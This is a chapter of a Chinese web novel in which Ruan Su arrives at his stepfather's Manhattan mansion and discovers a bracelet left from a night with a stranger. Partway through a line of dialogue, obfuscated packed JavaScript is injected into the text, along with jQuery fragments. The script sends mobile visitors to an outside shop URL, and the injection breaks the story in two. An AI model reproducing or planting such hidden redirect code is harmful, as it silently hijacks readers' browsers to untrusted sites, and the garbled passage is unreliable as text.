临近六点，黄昏的暖色漫过棕石公寓的外墙，沿街的精品橱窗次第亮起了暖光，零星路灯亮起，有行人牵着犬只在街道上散步。
阮粟靠在车后座上，盯着窗外飞速倒退的街道发了一会儿呆。
手机震动，陶予的消息一条接一条地发了过来——
【怎么样怎么样，跟你那好心人告别了？】
【他有没有再跟你说什么？】
【我靠！你不会真就一个字没多说就上车了吧宝贝？？】
【那个……你要不要上点药啥的？实在不行去附近的CVS买点？】
阮粟自动略过上面三个问题，只引用了最后一条，回了个【好】，然后把手机翻了个面扣在大腿上。
车窗外的曼哈顿高楼一幢接一幢掠过去，阳光被玻璃切成碎片晃在他脸上，后颈那块皮肤还在一阵阵地发烫。
他下意识抬手摸了摸那儿，指尖碰到一片微微凸起的红痕，然后触电般缩回了手。
深呼一口气，阮粟把车窗摇下来，纽约十一月的冷风灌进喉咙，呛得他咳了两声。
司机从后视镜里看了他一眼，用带口音的英文问他还好吗，阮粟摆摆手说没事，又把车窗摇上去了。
手机又震了一下。
是妈妈柳雅的消息：【到哪儿了宝贝？妈妈饭都快做好啦！】
阮粟回了个【快了】，然后看着导航上那个地址——
刚才叫车他记混了里面一个街道的单词，好在那位‘好心人’是本地佬，及时帮他改了过来。
很显然，阮粟对这个即将要住进去的房子一无所知。
他只知道他妈闪婚了一个美国人，姓Lussol，据说是当地有名的商人，常年在欧美两地飞。
他还有个中美混血的儿子，阮粟只听柳雅在电话里提过几次，说人特别优秀，在哥大读研究生，比他大两岁，目前在做运动相关的工作。
阮粟嗯啊地应过去，压根没往心里去。
五分钟后，车子弯进一条安静的林荫道，阮粟贴着车窗往外看，两旁的宅邸一栋比一栋夸张，各式古典主义的石柱子，铁艺雕花的院门，还有巨大的草坪……
从小没出过国的阮粟感觉自己跟穿越到了美剧里似的。
车子缓缓停稳，阮粟下车抬起头，整个人顿了两秒。
这栋别墅是那种典型的上东区老钱风格，米白色石材立面，有三层楼高，每一扇窗口都镶着深色百叶，门口挂着两盏黄铜壁灯。
门牌号镶在一块大理石板上，底下还有一行小字：Built in 1892。
一看就不是普通人住的。
阮粟低头看了眼自己的卫衣和帆布鞋，忽然有点后悔没换身衣服再过来。
深吸一口气，他上前按下门铃。
门很快就开了。
门后站着一个高大的中年男人。他比阮粟高了大半个头，穿着件蓝色针织衫，灰白的头发梳得一丝不苟，肩膀宽厚，眉眼深邃，是典型的老派欧洲绅士长相。
“Ruan！”男人看见他，浅蓝色的眼睛一亮，开口是带点法语腔的英文，发音醇厚又温柔，“噢上帝！终于见到你了！柳雅跟我说了无数遍你有多好看，今天一见——她果然没夸张！”
阮粟礼貌地朝他笑了笑：“您好，西奥多先生，很高兴见到您。”
“噢，不用这样客气，叫西奥多就好。”男人笑着侧身让开门，朝他做了个“请”的手势，“来吧Ruan，欢迎回家！我们都等你很久了！”
欢迎回家。
这四个字从眼前这个金发碧眼的洋人嘴里说出来，带着一种阮粟完全陌生的坦荡和理所当然。
低头换鞋，走进玄关，抬眼望去。
……阮粟觉得自己像误闯了某个样板间。
眼前的客厅穹顶约有五六米高，四周金碧辉煌，好几个房间门错落有致，一整面落地窗正对后院花园，落日的光晕斜斜铺进来，把乳白色的长沙发和茶几镀成淡金色。
入门右手是旋转楼梯，墙上挂着一幅巨大的抽象油画，右下角有个歪歪扭扭的签名，阮粟眯眼看了半天也没认出来是什么字母。
西奥多端着两杯柠檬水走过来，顺着他的视线看过去，笑道：“那是你哥哥十四岁时画的，学校艺术展拿了一等奖。他母亲一直收着，去年才框好挂出来。”
十四岁？
……画得跟梵高转世似的。
阮粟因为这幅画对他这位哥哥提起了一点兴趣，并大致想象了下他的形象——
应该是个黑发蓝眼的优雅美男，文艺范儿，不太爱社交——这样最好，他俩井水不犯河水，阮粟独生子当惯了，暂时还不太想和这突然多出的兄弟打交道。
“你可以随意走走，”西奥多把柠檬水递给他，又指了指走廊尽头的一扇门：“你的房间在二楼左手第二间，朝南采光好，柳雅在里面收拾，你一会儿可以上去找她，有需要添置就和我说。”
接下来西奥多又给他介绍了厨房、餐厅、影厅室、花艺室、地下酒窖……
阮粟听着这些陌生的单词，象征性地点着头。
“你哥哥的房间在你对面，”西奥多指了指走廊尽头那扇关着的门。
阮粟看过去，门板是哑光深灰的，和周围的米白色调有些不同。
“他应该晚点回到。你有需要可以随时找他，他很随和的——噢，虽然看起来可能不太像？”
看起来不太像？
哦，可能文艺男就是会看着阴郁清冷一些吧，阮粟想。
在花园边站了会儿，西奥多又兴致勃勃地给他介绍月季——什么“龙沙宝石“”蓝色阴雨”，说是“柳雅说中国人最爱种”。
阮粟一个词没记住，光顾着点头微笑。
几分钟后，楼上传来一个女人的声音：“小粟！来看看你寄来的行李，我收拾了下，有
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769612|209861||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
些东西不知道还要不要——”
阮粟如蒙大赦，跟西奥多说了声“失陪”就上楼了。
进门，柳雅正蹲在行李箱旁边往外掏衣服，见他进来拍拍手上的灰站起身：“快来宝贝儿，我帮你把衣柜腾出来了！”
女人四十出头，保养得极好，乌黑的长发用一根木簪松松挽着，笑起来眉眼弯弯。
她今天穿了件藕粉色的针织开衫，整个人温柔又利落。
阮粟走过去蹲下身一块儿收拾。
柳雅把一件件叠好的T恤递给他，嘴里絮絮叨叨：“这房间朝阳好，冬天不会冷。西奥多特意给你挑的，我跟他讲你从小怕冷，他还说要在你房间加地暖——”
阮粟点点头，把书包拎起来准备放到书桌旁边。
柳雅眼尖，目光忽然定在他书包肩带最上面那层亮闪闪的贴纸上——
那是一张心形的荧光贴纸，上面印着“FERN BAR”的字样，还沾着一点点亮粉。
“你昨晚去酒吧了？”柳雅动作一顿，眼睛亮起来。
阮粟动作一顿，生硬道：
“倒时差睡不着......陶予拉我去的。”
柳雅笑着拍了一下他的脑袋：“行啊你，落地第一天就这么会安排生活，我还怕你像在北京那样整天宅屋里呢！”
“当初我说要接你出国，你外婆担心地要命，生怕这里太开放你不适应，现在看来她真不够懂你！”
阮粟干笑了两声。
“她要是知道你去酒吧，肯定要念叨‘夜不归宿伤元气’——”
柳雅学着老太太的语气，然后噗嗤笑了，“我就说嘛，你就该多体验，别老拘着！你外婆那套养生理论听听就算了，人活一辈子不就是图个痛快！”
阮粟不敢苟同，只能陪她笑了笑。
柳雅把儿子书包里的东西倒出来收拾，忽然“咦”了一声，拿起一件物品，转过头来——
“这不是你外婆给你的那串沉香吗？我明明放在我包里了啊，怕你托运弄丢，想着到了再给你的……你什么时候拿回去了？”
阮粟正往抽屉里放袜子，回过头盯着那手串，茫然地眨了两下眼。
下一秒，他浑身都僵住了。
零碎的记忆涌上心头。
昨晚被压进床垫里，他的屁股硌在一个东西上，疼得哼了一声。
男人的动作微微一顿，低笑着在他耳边说了句什么，然后阮粟听见床头柜上发出一声清脆的响。
后来就不硌了。
男人兜着他的大手柔软温暖，阮粟泄了药劲，很快窝在他结实的臂弯里睡着。
早上他匆忙收拾东西，看见桌上那串深棕色珠子，下意识以为是外婆给的沉香手串，就顺手给揣兜里了。
现下想来……应该是那人的。
“怎么了？”
柳雅看他脸色不对，轻轻皱了下眉：“这手串不是你的？”